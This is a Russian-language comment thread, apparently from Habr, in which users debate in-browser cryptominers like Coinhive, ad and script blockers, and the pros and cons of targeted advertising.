Комментарии 206
Стоило упомянуть, что есть блокировщики для этого безобразия AntiMiner
Стандартный uBlock с дефолтыми подписками уже блокирует, еще одно расширение, пожирающее память, не нужно.
Конечно, если стоит uBlock, то не нужно. Но не все люди пользуются блокировщиками рекламы (порой по идейным соображениям).
Мне жаль таких людей...
Почему же? Редко пользуюсь расширениями в принципе, а блокировщик никогда не было мысли ставить. Не испытываю никакого дискомфорта от рекламы. Кроме того, очень даже полезно иногда в яндекс почте увидеть рекламу о какой-то вещи которую я гуглил некоторое время назад. Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.
> Если меня что-то интересует и мне это предлагают в рекламе — это очень здорово.
А вот когда меня что-то интересует — я это либо покупаю, либо планирую купить. Иначе это выглядит как манипуляция, мне не приятно. Для меня это как вклинивание в мою приватную жизнь. Я бы лучше смотрел на абсолютно рандомную рекламу.
А вот когда меня что-то интересует — я это либо покупаю, либо планирую купить. Иначе это выглядит как манипуляция, мне не приятно. Для меня это как вклинивание в мою приватную жизнь. Я бы лучше смотрел на абсолютно рандомную рекламу.
Какой смысл в рандомной рекламе? Это выглядит неразумно, учитывая, что есть развитая таргетинговая. И что значит манипуляция? Понятное дело, что если хочешь иди купи, но у нас уже не тот мир где на рынке у какой-то вещи может быть всего один или два производителя. Полезно знать, что там еще предлагают.
Я могу понять почему это может не нравится кому-то, раз существуют адблоки, могу понять когда кому-то нужна анонимность вокруг которой столько шума. Я не могу понять когда кто-то поддерживая откровенно попсовое мнение пишет, что ему жаль тех, кто такое же мнение не поддерживает.
Я могу понять почему это может не нравится кому-то, раз существуют адблоки, могу понять когда кому-то нужна анонимность вокруг которой столько шума. Я не могу понять когда кто-то поддерживая откровенно попсовое мнение пишет, что ему жаль тех, кто такое же мнение не поддерживает.
Когда мне что-то нужно, я это гуглю и покупаю, часто в тот же день. А потом ещё пару месяцев смотрю уже нерелевантную рекламу вещи, которую я уже купил. Фигня эта ваша таргетированная реклама, короче.
кстати да, рандомная (неперсонализированная) реклама тоже имеет свой смысл. Можно сразу понять, зайдя на сайт:
1) кто целевая аудитория сайта
2) на что тратят в основном деньги пользователи сайта
3) что вообще сейчас пытаются пользователям интернета впаривать
то есть, чисто из любопытства, это интересно. Персонализированная реклама убивает такую возможность. Она лишь дает мне понять, что обо мне думают RTB боты, но не дает доп инфы об окружающем мире.
И самое обидное, что даже отключив персонализацию, получаешь не глобальную картину, а некий срез самой дешевой рекламы за клик, которую суют неперсонализированным пользователям (и распределение будет радикально отличаться от модели, когда персонализации нет в принципе).
1) кто целевая аудитория сайта
2) на что тратят в основном деньги пользователи сайта
3) что вообще сейчас пытаются пользователям интернета впаривать
то есть, чисто из любопытства, это интересно. Персонализированная реклама убивает такую возможность. Она лишь дает мне понять, что обо мне думают RTB боты, но не дает доп инфы об окружающем мире.
И самое обидное, что даже отключив персонализацию, получаешь не глобальную картину, а некий срез самой дешевой рекламы за клик, которую суют неперсонализированным пользователям (и распределение будет радикально отличаться от модели, когда персонализации нет в принципе).
Позвольте прояснить.
Вот я искал кофемолку и кофеварку. Вот я их купил. Вот прошло уже больше полугода, а Skype до сих пор мне предлагает купить еще одну. Такую же. Это в надежде, что старая сломалась? Или таргетинг кривой?
И так почти везде. Зашел не как аноним посмотреть новую АКБ к авто — будешь еще месяца 2 видеть крики на пол-листа — " У НАС ДЕШЕВЛЕ!!!"
Вы уверены, что именно в этом смысл рекламы?
Вот я искал кофемолку и кофеварку. Вот я их купил. Вот прошло уже больше полугода, а Skype до сих пор мне предлагает купить еще одну. Такую же. Это в надежде, что старая сломалась? Или таргетинг кривой?
И так почти везде. Зашел не как аноним посмотреть новую АКБ к авто — будешь еще месяца 2 видеть крики на пол-листа — " У НАС ДЕШЕВЛЕ!!!"
Вы уверены, что именно в этом смысл рекламы?
Не знаю, как в Skype, а вот в Яндекс.Директе можно скрыть конкретный баннер с комментарием «уже купил». И тогда он больше не будет показывать ничего подобного, зато будет предлагать связанные товары (скажем, деткие игрушки после подгузников или зимнюю резину после автомобиля).
Может алгоритмы не могут вам предложить что-то лучше, вы не палили свои интересы и т.п.
Во-первых, сети собирают информацию и после этого знают что и почему мне нравится. Эта такая себе биография о вас, только значительно детальней. Мне это не по нраву: я хочу чтобы моя жизнь была моей приватной.
Эсли я хочу посмотреть что там делают разные производители — я захожу на специализированные сайты и читаю об этом. В чем же проблема?
> И что значит манипуляция?
Примером вы хотите диван, но как-то решили, что потом, так как может вам он и не нужен. Но интернет теперь думает иначе — и диваны теперь везде и вы думаете о диване постоянно — и потом его покупаете. Понимая лучше человека, его привычки и слабые стороны, сетям удается больше продавать.
Эсли я хочу посмотреть что там делают разные производители — я захожу на специализированные сайты и читаю об этом. В чем же проблема?
> И что значит манипуляция?
Примером вы хотите диван, но как-то решили, что потом, так как может вам он и не нужен. Но интернет теперь думает иначе — и диваны теперь везде и вы думаете о диване постоянно — и потом его покупаете. Понимая лучше человека, его привычки и слабые стороны, сетям удается больше продавать.
Очень полезно заходить на сайты и среди тонны рекламы искать нужную информацию? Может вам еще нравится музыка на сайтах?
В моем списке сайтов нет ни одного, где есть тонна рекламы и какая-либо музыка которая запускается без моего согласия.
Сейчас в тренде автоплей видевы (привет ленте.ру), а не музыки.
Например, я тоже не использую блокировщики рекламы, а когда открываю незнакомый для меня сайт, это позволяет видеть сайт «как есть» и сразу покинуть его, если вижу что «всё плохо» (на таких сайтах я никогда не задерживаюсь и по возможности никогда не возвращаюсь). Таким образом, я наказываю плохие сайты и поддерживаю хорошие (поисковая система учитывают моё поведение, и чаще всего в топе вижу сайты с «нормальной рекламой»). Если бы большинство пользователей поступили бы так же, интернет был бы чище, и вебмастерам не было бы выгодно использовать назойливую рекламу.
Быть может, звучит бредово, но мне кажется, в какой-то мере данный тип рекламы всё ещё существует именно по вине тех пользователей, которые «надели розовые очки» дабы не видеть грязь. Но самая большая проблема в том, что такие пользователи задерживаются на «грязный ресурс» и это подсказывает поисковым системам якобы о хорошем сайте, которого нельзя исключить из результатов поиска.
Быть может, звучит бредово, но мне кажется, в какой-то мере данный тип рекламы всё ещё существует именно по вине тех пользователей, которые «надели розовые очки» дабы не видеть грязь. Но самая большая проблема в том, что такие пользователи задерживаются на «грязный ресурс» и это подсказывает поисковым системам якобы о хорошем сайте, которого нельзя исключить из результатов поиска.
Особенно если рассмотреть трекер, который контентом наполняют пользователи, а вырвиглазную рекламу ставят совершенно другие люди.
Ну, в принципе если вы заходите на сайт с блокировщиками он вас не видит и не учитывает, а если учитывает то как некого анонима по которому очень мало статистически значимых данных учет по которым проводится скорей как ботов чем реальных пользователей. И ведь сайт ничего не имеет с вашего захода, а значит реклама для вас «не работает», а работает она только для того кто заходит БЕЗ блокировщика — именно они и дают статистику сайту, от них зависит работа сайта. А раз кто-то заходит, значит и сайт востребован…
Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт, это говорит поисковой системе, что посетителю не понравился увиденный сайт. Даже если используется блокировщик, не думаю что Google или Yandex не могут отслеживать такое поведение.
Что касается постоянных посетителей или прямых заходов — люди не должны задерживаться на «грязные» сайты, а перейти на «чистый» сайт конкурента. Но чтобы отличить «грязные» сайты от «чистых», нужно увидеть всё «как есть» (то есть не использовать блокировщикии). При таком подходе, мы наказываем «грязные» сайты (понижаем позицию в результатах поиска, не задерживаемся, не приносим доход) и поддерживаем «чистые» сайты (повышаем позицию в результатах поиска, увеличиваем длительность сеанса, понижаем показатель отказов, приносим копеечный доход даже если не кликаем по рекламе).
Я более чем уверен, что в «реальной жизни» большинство людей поступают также. Например, они не возвращаются в кафе, где грязно, хамят клиентам или адски шумно. Они не надевают очки или наушники, чтобы скрыть всё это, а посещают другие, уютные кафе, где оставляют даже чаевые. Чем же хороший вебмастер отличается от хорошего официанта, и почему бы не «поддерживать» хороший сайт, если хотим избавиться от «грязи»… К тому же, почему так мало людей задумываются о том, что блокировщики рекламы рано или поздно заставят «хорошего» вебмастера бросить сайт или искать грязные методы монетизации, когда «плохой» вебмастер просто будет переключиться на альтернативные методы обмана…
Что касается постоянных посетителей или прямых заходов — люди не должны задерживаться на «грязные» сайты, а перейти на «чистый» сайт конкурента. Но чтобы отличить «грязные» сайты от «чистых», нужно увидеть всё «как есть» (то есть не использовать блокировщикии). При таком подходе, мы наказываем «грязные» сайты (понижаем позицию в результатах поиска, не задерживаемся, не приносим доход) и поддерживаем «чистые» сайты (повышаем позицию в результатах поиска, увеличиваем длительность сеанса, понижаем показатель отказов, приносим копеечный доход даже если не кликаем по рекламе).
Я более чем уверен, что в «реальной жизни» большинство людей поступают также. Например, они не возвращаются в кафе, где грязно, хамят клиентам или адски шумно. Они не надевают очки или наушники, чтобы скрыть всё это, а посещают другие, уютные кафе, где оставляют даже чаевые. Чем же хороший вебмастер отличается от хорошего официанта, и почему бы не «поддерживать» хороший сайт, если хотим избавиться от «грязи»… К тому же, почему так мало людей задумываются о том, что блокировщики рекламы рано или поздно заставят «хорошего» вебмастера бросить сайт или искать грязные методы монетизации, когда «плохой» вебмастер просто будет переключиться на альтернативные методы обмана…
Когда посетитель переходит на сайт из результатов поиска и сразу возвращается к выдаче чтобы перейти на следующий сайт
А как поисковая система может это обнаружить? Вот, получил я, значит поисковую выдачу, и давай средней кнопкой по ссылкам кликать. Какие-то вкладки не понравились — сразу закрываю, какие-то — заинтересовали, я их почитал, какие-то в это врямя висят открытые, потому что я до них ещё не добрался. Поисковую выдачу я всё это время не трогаю.
Да, поисковая система не сможет определить, какая именно из нескольких открытых подряд ссылок вас заинтересовала. С другой стороны, поисковая система может определить, что ни одна из открытых ссылок не понравилась, например, вы продолжили открывать ссылки через короткий промежуток времени. Ну а дальше будет просто накопление статистики на миллионах таких людей, как вы, и её последующий анализ.
Переход по ссылке с поисковой выдачи учитывается, а дальше работают трекеры от гугла на самом сайте, это конечно если ничего не блочить и т.п. и они МОГУТ сопоставить сам переход с поисковой выдачи, время нахождения на сайте и какие странички открывал. Всё это делается по большей части через кукисы. И если их выключить — возможностей по отслеживанию поведения пользователя у поисковика станет гораздо меньше, менее надёжное связывание посетителя с конкретным пользователем хотя косвенными методами они ещё могут отследить перемещение анонима по сайту который находится под их наблюдением и отличить от действий других посетителей — например по TTL, UserAgent, разрешению экрана, ширине активного окна браузера, геолокации, IP-адресу и множеству косвенных признаков которые вполне складываются довольно уникально для каждого пользователя. Чтобы полностью себя анонимизировать перед поисковиками нужно приложить довольно серьёзные усилия — засесть в компьютерном классе с 20-ю клонированными машинами подключенными к одному роутеру и на каждой из них осуществлять почти одинаковое взаимодействие с поисковиком — сёрфить одновременно на одном и том же сайте.
К словам DistortNeo и Alexeyslav хочу добавить, что ещё одним сигналом служит случаи, когда пользователи вводят уточняющие запросы. Например, сначала ввели «слон» открыли первые результаты, не нравилось то, что нашли и ввели «розовый слон» — очень высока вероятность, что первые места в выдаче будут занимать сайты, которые были просмотрены ранее, но если посетитель больше не посещает их, значит «что-то не так».
К тому же, далеко не все пользователи открывают несколько вкладок. Что самое странное (по крайне мере для меня), что некоторые люди даже не открывают ссылки в новом окне (по умолчанию в Google опция «Открывать результаты в новом окне» отключена).
К тому же, далеко не все пользователи открывают несколько вкладок. Что самое странное (по крайне мере для меня), что некоторые люди даже не открывают ссылки в новом окне (по умолчанию в Google опция «Открывать результаты в новом окне» отключена).
Так вы и так грязному сайту не приносите дохода. Суть такова, что в отличие от физического мира, мы МОЖЕМ изменить место куда ходим — для нас грязное кафе будет выглядеть вполне чистым и приносить удовольствие. А если нечто крякает и выглядит как утка… в этом прелесть виртуального пространства по сравнению с физическим.
Вот те люди кто зашли на сайт без блокировщиков и им не понравилась грязь — вот они во второй раз туда не придут, или придут уже с блокировщиком. А те кто регулярно ходят на грязный сайт и их это не смущает — они собственно и оплачивают работу сайта и участвуют в статистике которую мы видим. И судя по тому что такие сайты всё ещё существуют — таких людей достаточно много!
Вот те люди кто зашли на сайт без блокировщиков и им не понравилась грязь — вот они во второй раз туда не придут, или придут уже с блокировщиком. А те кто регулярно ходят на грязный сайт и их это не смущает — они собственно и оплачивают работу сайта и участвуют в статистике которую мы видим. И судя по тому что такие сайты всё ещё существуют — таких людей достаточно много!
Так моя идея состоит в том, что нужно поддерживать хорошие сайты. Прелесть виртуального пространства ещё состоит в том, что можно потратить пару секунд/минут, чтобы найти хороший сайт. То, что пользователи «надели розовые очки», лишь скрыло проблему, но не решило её. Сейчас Вам удобно так, но что будет, когда все пользователи будут использовать блокировщики? Ведь, в отличие от хороших вебмастеров, плохие вебмастеры никуда не исчезнут, они лишь будут использовать другие способы обмана или будут заставить посетителя отключить блокировщик.
Что касается тех, кто регулярно ходят на грязные сайты — не знаю, почему они этого делают, но как уже отметил выше, я знаю, откуда и «благодаря кому» на такие сайты попадают новые посетители.
Что касается тех, кто регулярно ходят на грязные сайты — не знаю, почему они этого делают, но как уже отметил выше, я знаю, откуда и «благодаря кому» на такие сайты попадают новые посетители.
А я никого не наказываю. Точнее, не кормлю свою гордыню ложным ощущением «наказания». Пока таких не «большинство пользователей» — все это «наказание» — пшик и самовнушение.
А большинством оно и не будет никогда. Большинству пох.
И именно поэтому никакой особой войны между рекламой и блокерами нет. И уж точно блокеры ее не выиграют. Просто потому что большинство юзеров не юзает блокеры. Т.е. 90% ландшафта все равно остаются за рекламщиками.
И именно поэтому на своих 10% территории я и другие юзеры блокеров имеем полное моральное право блочить без излишних многоумных рассуждений.
Мне дороже мое время и ресурсы моего ПК, которые совсем не безграничны.
А большинством оно и не будет никогда. Большинству пох.
И именно поэтому никакой особой войны между рекламой и блокерами нет. И уж точно блокеры ее не выиграют. Просто потому что большинство юзеров не юзает блокеры. Т.е. 90% ландшафта все равно остаются за рекламщиками.
И именно поэтому на своих 10% территории я и другие юзеры блокеров имеем полное моральное право блочить без излишних многоумных рассуждений.
Мне дороже мое время и ресурсы моего ПК, которые совсем не безграничны.
От рекламы в яндекс почте блокировщики не помогают. Во всяком случае, не adBlock+
А покупаете прям с того баннера или всё же гуглите ещё?
Придерживаюсь мнения, что если товар/магазин рекламируется, и товар, который мне нужно, можно купить где-то ещё, в не-рекламируемом месте будет дешевле. Как правило, так и выходит, ибо вторым не нужно вкладываться в рекламу, достаточно просто обеспечить находимость товара при соответствующем поисковом запросе.
Поэтому, в поседнее время я стал замечать что в магазинах крайне мало подробной информации о товаре, особенно однозначно идентифицирующих товар - может отсутствовать полное наименование модели... мультиварка.... какая модель? покупай, это же мультиварка, что тебе еще надо, кроме внешнего вида? Особенно и давно этим грешит Китай... искать аналогичный товар невозможно, ибо остается только гуглить что-то неконкретное вроде "фонарик" в надежде найти иголку в стогу сена, и в итоге оказывается что первые 10 страниц выдачи ведут все в одно место.
Я не пользуюсь ресурсами, где реклама слишком навязчива, вот и всё. А пользоваться блокировщиком рекламы на ресурсах, которые тебе нравятся и ты им не донатишь не то что бы хорошая идея.
Попробовал поставить uBlock — на этом сайте как было 100% загрузки, так и остается. Не помогает он тут.
uBlock больше рассчитан на блокировку рекламы и по готовым «спискам». Этого мало. Ведь можно обойти его, превращая ситуацию в вечные бои. Но можно решить вопрос на корню. Блокировать все левые скрипты, которые не отразятся на работе сайтов. Даже не только скрипты, но и запросы на другие домены и т.д. Здесь помогут такие инструменты как: RequestPolicy Continued, uMatrix и другие.
Не совсем так. Там есть (похожая на uMatrix) система базовых настроек, которая позволяет глобально порезать 3-rd party объекты. Вот, к примеру, эта страница:
У юблока даже в описании заявлено, что это больше, чем просто списочный блокер рекламы. :)
У юблока даже в описании заявлено, что это больше, чем просто списочный блокер рекламы. :)
Может быть я и не совсем прав. Но использую связку с несколькими расширениями. Если пробьют одно, заблокирует другое :)
Имкнно так и надо. :)
Но и с точки зрения «поставил и забыл» — юблок тоже хорош сам по себе. Если что-то вдруг понадобится обуздать, то в нем почти все нужное для этого есть.
Но и с точки зрения «поставил и забыл» — юблок тоже хорош сам по себе. Если что-то вдруг понадобится обуздать, то в нем почти все нужное для этого есть.
встречал рекламу украинского интернет-магазина Розетка, которая пробивает стек из нескольких блокировщиков (и ручная блокировка AdBlock Plus работала до нажатия F5). Подозреваю, что на каждый запрос генерируется уникальная рандомная разметка. Тревожный звоночек.
Хотя… на подходе motherboard.vice.com/en_us/article/9a4yny/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race
Хотя… на подходе motherboard.vice.com/en_us/article/9a4yny/princetons-ad-blocking-superweapon-may-put-an-end-to-the-ad-blocking-arms-race
наблюдал такое пару недель на сайтах gismeteo.ua, sinoptik.ua с теми же симптомами. Сейчас уже все хорошо.
Пробивать блокировщики не имеет смысла. Достаточно сделать одну подлость — рекламу не отличимую от контента. Это сейчас её относительно просто выделить и формализовать правило блокировки, а теперь представьте что и реклама и контент будут идти от одного CDN и иметь очень мало формализуемых признаков по которым их можно отличить… отключаешь рекламу — отключаешь и полезный контент.
А зачем мне контент неотличимый от рекламы?
Неотличимый для блокировщиков, например использующий один общий CDN так что только по домену рекламу от контента уже не отличишь и попытка простым способом убить рекламу убивает и полезный контент. Сейчас считай почти халява — большую часть рекламы можно срезать с минимальными затратами просто анализируя домен по спискам.
Это будет сделать довольно сложно. Насколько я помню, делать рекламу, неотличимую от контента, запрещено законодательно в некоторых странах.
Неотличимую для блокировщиков — на уровне ссылок на ресурсы с контентом. Например, баннеры могут располагаться в том же пространстве что и полезный контент с точки зрения браузера, но располагаться и выглядеть для человека как реклама — это чисто технический вопрос внутреннего устройства сайта, куда законодательство ещё не проникло.
В конце-концов, каждое изображение и/или объект сайта будь-то статья или картинка или реклама могут запрашиваться с сервера по длинному хешу и поди определи по запросу что это рекламный баннер или полезный документ. И списки блокировки резко станут неэффективными чуть более чем полностью.
В конце-концов, каждое изображение и/или объект сайта будь-то статья или картинка или реклама могут запрашиваться с сервера по длинному хешу и поди определи по запросу что это рекламный баннер или полезный документ. И списки блокировки резко станут неэффективными чуть более чем полностью.
Уверен, что к этому придут, к сожалению. Да, это куча неудобств, но сделав сервис, технически похожий на Cloudflare, которому будут доверять и рекламодатели и вебмастера, можно заворачивать весь траффик, и по ходу переколбашивать разметку, гомогенизируя контент.
А вот когда появится супероружие по ссылке, то придется, конечно, напрячься рекламщикам, и проявлять креатив.
PS: лично я даже поставил бы галочку в блокировщиках «готов майнить, нагружая 20% процессора», если бы она была. Мне мое личное время дороже процессорного времени. Без хоть какого-то win-win победа блокировщиков призовет пейволы, и проиграют все.
PPS: Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент, и после первого просмотра страницы участником сети, оплатившим пейвол, давать доступ всем…
А вот когда появится супероружие по ссылке, то придется, конечно, напрячься рекламщикам, и проявлять креатив.
PS: лично я даже поставил бы галочку в блокировщиках «готов майнить, нагружая 20% процессора», если бы она была. Мне мое личное время дороже процессорного времени. Без хоть какого-то win-win победа блокировщиков призовет пейволы, и проиграют все.
PPS: Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контент, и после первого просмотра страницы участником сети, оплатившим пейвол, давать доступ всем…
Хотя… против пейволов можно создать р2р сеть, которая будет кешировать контентИ тогда будут ватермарки добавлять в контент и автоматом банить аккаунты, с которых он утекает.
Да не будет никакой победы. Все равно большинство юзеров не юзает блокеры.
Так что можно не переживать по этому поводу особо. Вся война идет только для 10% зрителей-гиков ;-)
Так что можно не переживать по этому поводу особо. Вся война идет только для 10% зрителей-гиков ;-)
если бы оно только органическим ростом установок ограничивалось. Опасно, что есть предпосылки для централизованной блокировки рекламы. В айфонах что-то такое встроили. Shine, вроде, почил в бозе, или пивот сделал, не суть важно.
Но, подход, как у Shine, позволит довести 10% до 50 очень быстро. Если идею возродят, то там потенциал очень большой. Как по проникновению технологии — операторы будут включать функцию по умолчанию, чтобы разгрузить базовые станции, так и по эффективности — на централизованных серверах можно установить фермы из графических ускорителей, которые будут выявлять новый баннер (креатив) 1 раз, отличая его от котиков и картинок, после чего вырезать со всех страниц всех юзеров, задействуя минимум мощности.
А вообще да, как и любая тема, дающая превосходство над большинством, для гиков лучше всего, что банерорезки ставили только гики
Но, подход, как у Shine, позволит довести 10% до 50 очень быстро. Если идею возродят, то там потенциал очень большой. Как по проникновению технологии — операторы будут включать функцию по умолчанию, чтобы разгрузить базовые станции, так и по эффективности — на централизованных серверах можно установить фермы из графических ускорителей, которые будут выявлять новый баннер (креатив) 1 раз, отличая его от котиков и картинок, после чего вырезать со всех страниц всех юзеров, задействуя минимум мощности.
А вообще да, как и любая тема, дающая превосходство над большинством, для гиков лучше всего, что банерорезки ставили только гики
Ещё в копилку фильтров для ABP и подобных (uBlock в т.ч.): github.com/hoshsadiq/adblock-nocoin-list
так и сейчас ничего не мешает пихать скрипты майнеров в списки адблоков.
Поставить RequestPolicy Continued или аналоги(был уже упомянут Ghostery), запастись попкорном и наблюдать шоу :)
Ghostery вообще не для этого, а RequestPolicy ломает 90% сайтов. Настраивать под каждый — ну его нафиг.
Не под каждый. Можно разблокировать нужные скрипты глобально. И они будут работать на каждом сайте, где используются. Один раз настроить и будет работать.
Более вероятная причина поломки, что статика (картинки и CSS) грузится с другого домена. Но обычно всё чинится в 2 клика.
И так ан каждый новый посещаемый сайт… а если мне туда только на один раз? Приходится по нескольку раз перезагружать сайт прежде чем полностью настроить разрешения для него — каждый раз подгружаются новые объекты которые не грузились из-за блокировок на предыдущем этапе. И не факт что это всё — в любой момент может заблокироваться что-то новое а ты даже не узнаешь что часть контента на сайте тупо не отображается. А теперь представить что используется несколько блокировщиков и многие действия по разблокировке надо будет производить в каждом из них…
Да, с новыми сайтами могут быть некоторые неудобства. Зато если там какой-то майнер, вирус или ещё что-то — очень спасает.
а если мне туда только на один раз?Схватить трояна можно и за «один раз». Обычно, когда кликаешь на заражённый сайт, просходит несколько редиректов на странные домены, либо эксплойты подгружаются не напрямую, а тоже с других доменов.
Да, неудобно лишний раз кликать в подтверждение каждого редиректа или каждой подгрузки с другого домена, но гигиена того стоит.
два-три F5 и сайты оживают. хотя я на uMatrix свалил, и у меня по умолчанию сторонние скрипты просто вырублены нафиг. единственный реальный геморрой — это рекапча, которая ходит по тем же доменам что и гугломусор.
А как защититься-то от подобного чуда, дабы не вляпаться ненароком?
Использовать блокировщики рекламы или скриптов.
Установить и настроить расширения RequestPolicy Continued, uMatrix и аналоги.
P.S.: Не обязательно ставить все. Достаточно будет выбрать какое-то одно и настроить его.
У меня нормально получилось подружиться с RequestPolicy Continued. С uMatrix, так и не смог заставить habr нормально выглядеть и пару других сайтов.
P.S.: Не обязательно ставить все. Достаточно будет выбрать какое-то одно и настроить его.
У меня нормально получилось подружиться с RequestPolicy Continued. С uMatrix, так и не смог заставить habr нормально выглядеть и пару других сайтов.
В hosts вписать:
0.0.0.0 coin-hive.com
0.0.0.0 coin-hive.com
А скрипт можно как то настроить на потребление ресурсов? Например если бы он сжирал не 100, а 20 процентов проца, то никто бы и значения не придал. Не обязательно что бы пользователь проводил много времени на сайте, у меня например много открытых вкладок отложенных на потом. Ну и что касается малой эффективности, думаю расчет на количество пользователей.
Судя по демке на главной странице проекта, можно задать количество потоков.
Хотя в документации дополнительно указано, что можно задать время бездействия для этих потоков
coin-hive documentation
Хотя в документации дополнительно указано, что можно задать время бездействия для этих потоков
coin-hive documentation
В конструктор можно передать параметр
throttle у которого значение от 0 до 1, указывает сколько ресурсов оставить пользователю. На реддите также «попросили» не майнить на ноутбуках которые не заряжаются www.reddit.com/r/Monero/comments/71okng/some_advice_for_all_you_guys_using_coinhiveНЛО прилетело и опубликовало эту надпись здесь
Похоже, что этот скрипт вставляется не только на сайтах но и в расширениях к браузеру. Один из пользователей моего сайта жаловался на то, что у него Касперский ругается на этот скрипт. Ему помогло полное сканирование.
Ну если судить по сайту сервиса, то они планируют изменить этот скрипт, чтобы однозначно спрашивать разрешения на включение (opt-in) у юзеров.
(пардон за дубль комментария, хотя и статья по сути тоже дубль :) )
Как по мне, это гораздо лучше баннеров даже сейчас (исключая смарты с их дохлыми аккумуляторами, разве что). Потому что доход идет напрямую владельцу сайта, поставившего майнер вместо рекламы или капчи, а не левым рекламщикам, которые, к тому же, трекингом занимаются. А этот майнер почти ничего не отслеживает, судя по его описанию.
Само собой, это все не оправдывает тех сайтоводов, которые втихую такое могут крутить и не прописывать в условиях.
(пардон за дубль комментария, хотя и статья по сути тоже дубль :) )
Как по мне, это гораздо лучше баннеров даже сейчас (исключая смарты с их дохлыми аккумуляторами, разве что). Потому что доход идет напрямую владельцу сайта, поставившего майнер вместо рекламы или капчи, а не левым рекламщикам, которые, к тому же, трекингом занимаются. А этот майнер почти ничего не отслеживает, судя по его описанию.
Само собой, это все не оправдывает тех сайтоводов, которые втихую такое могут крутить и не прописывать в условиях.
Как обычно будет пара нормальных скриптов и сотни пожирателей. В итоге резать будут все, чтобы машина не повисла от нагрузки.
НЛО прилетело и опубликовало эту надпись здесь
Вы бы лучше рассказали что делать тем, кто решил таким образом реально заменить рекламу, а вместо принудительного баннера, скажем, поставил кнопку, включающую майнер, если юзер желает помочь сайту. Это ведь вполне легитимный сценарий использования, только вот негласное добавление таких скриптов в списки антивирусов всю идею убивает на корню. И более того, благодаря такому скрипту легко в какие-нибудь чёрные списки поисковиков загреметь.
Ну вот вроде и хороший посыл, но надо же ограничтьва ресурсы, ну ёпрст!
Я тоже считал, что можно заработать с этого майнера, при этом не вредя пользователям.
Есть у меня маленький сайтец с 800 униками в день. Они генерят около 6-7 тыс. просмотров и проводят на сайте… ну не пять минут, но и не часы.
Так вот за месяц при ограничении нагрузки от майнера до 5% на таком сайте можно заработать аж 150 руб. за месяц :) Больше — вред пользователям, да и прибыль увелчится довольно слабо.
Есть второй сайт, который еще в разработке. Там предоставление услуг, тарифы 75/175/275 руб. в месяц. Проработал идею «намайните себе на тариф» и понял, что либо человеку прийдется майнить месяц, либо мне это не выгодно. Но кто будет гонять месяц свой компьютер ради 75 руб.?
Итого, таким способом можно действительно заработать только на очень посещаемом ресурсе, на котором пользователи проводят очень много времени. Но, как правило такой ресурс (если он легальный) предоставляет какие-то услуги или продает адекватную рекламу и зарабатывает больше.
Я тоже считал, что можно заработать с этого майнера, при этом не вредя пользователям.
Есть у меня маленький сайтец с 800 униками в день. Они генерят около 6-7 тыс. просмотров и проводят на сайте… ну не пять минут, но и не часы.
Так вот за месяц при ограничении нагрузки от майнера до 5% на таком сайте можно заработать аж 150 руб. за месяц :) Больше — вред пользователям, да и прибыль увелчится довольно слабо.
Есть второй сайт, который еще в разработке. Там предоставление услуг, тарифы 75/175/275 руб. в месяц. Проработал идею «намайните себе на тариф» и понял, что либо человеку прийдется майнить месяц, либо мне это не выгодно. Но кто будет гонять месяц свой компьютер ради 75 руб.?
Итого, таким способом можно действительно заработать только на очень посещаемом ресурсе, на котором пользователи проводят очень много времени. Но, как правило такой ресурс (если он легальный) предоставляет какие-то услуги или продает адекватную рекламу и зарабатывает больше.
Меня пугает, что это начало появляться уже в случайных мелких сайтах. Следующий этап — будут вместо amigo в каждый инсталлятор совать.
про «75 рублей» альтернатива давно известна: вывешивание адреса для доната под каждой статьей. Бесспорно бывалый Пряников утверждает, что в нынешней России это нифига не работает, но не менее упорный Бабченко до сих пор такую подпись использует.
Все нужно пробовать самому: давно и на многих сайтах есть фича «Заметили ошибку в тексте? Выделите ее и нажмите Ctrl+Enter в своем браузере». Однако по поводу нередких опечаток в статьях на Хабре такая фича не используется до сих пор — «ну, значит, есть на то веские причины!..» (с)
Все нужно пробовать самому: давно и на многих сайтах есть фича «Заметили ошибку в тексте? Выделите ее и нажмите Ctrl+Enter в своем браузере». Однако по поводу нередких опечаток в статьях на Хабре такая фича не используется до сих пор — «ну, значит, есть на то веские причины!..» (с)
а Хабре такая фича не используется до сих порОчевидно же. Кому понравится, если твою статью отредактирует администрация. А если перенаправлять оповещения автору (и автор уже давно забил на Хабр), у пользователей будет непонятка: как так, я отправил, а никто не исправляет.
я до сих пор не знаю, что лучше: позориться опечатками или рисковать, что местные безымянные модеры наворочают искажение глубокого смысла долго вынашиваемой статьи. Лишние школоло-запятые, несогласованные падежи и пр. — все это можно разрешить для замечаний(!) в строго ограниченном интервале времени, как и комменты для RO-лишенцев вроде меня. Т.е., в первые дни после публикации автор, забивший на статью — так ли он ценен для Денискина? А ведь есть еще «редакторы», которых Денискин оценивает конкретно в реальных деньгах: у них тоже бывают опечатки.
Но Денискину виднее — тут нет даже предмета для спора.
Но Денискину виднее — тут нет даже предмета для спора.
А причем тут администрация?
Такой скрипт должен через бэкэнд направлять оповещение автору статьи (личным сообщением). А уж что там — решит автор исправить или не решит…
Такой скрипт должен через бэкэнд направлять оповещение автору статьи (личным сообщением). А уж что там — решит автор исправить или не решит…
Уж лучше майнить, чем обогревать планету впустую за счет «тяжелого» флеша от уникального коллектива дизайнеров моргающей рекламы. Да, флэш умирает и прореживается, но и «тяжелым» он бывал не у всех и не всегда.
ИМХО, с глобальной точки зрения майнить — худшее, как можно потратить энергию. Выхлоп с этого мероприятия будет околонулевым, зато энергии сожрётся уйма. Тем более они делают это на CPU. Лучше бы условным Folding'ом занимались — хоть какая (глобальная) польза для планеты.
не ИМХО: с глобальной точки зрения про биткоин до сих пор нет ответа на вопрос «кому выгодно?». Даже его создателя до сих пор не приперли к стенке деанона, хотя про то, что «их оставалось только трое», было уже несколько публикаций здесь же.
Т.е., имхо тут все точно так же, как и с монетизацией Телеграм: пока нет ответа на правомерный вопрос «откуда [будут] деньги, Зин?», доверять безоглядно таким проектам — просто глупо. А теперь еще и Розенберг разворошил гнездо, а до того Перекопский тоже много интересного наговорил.
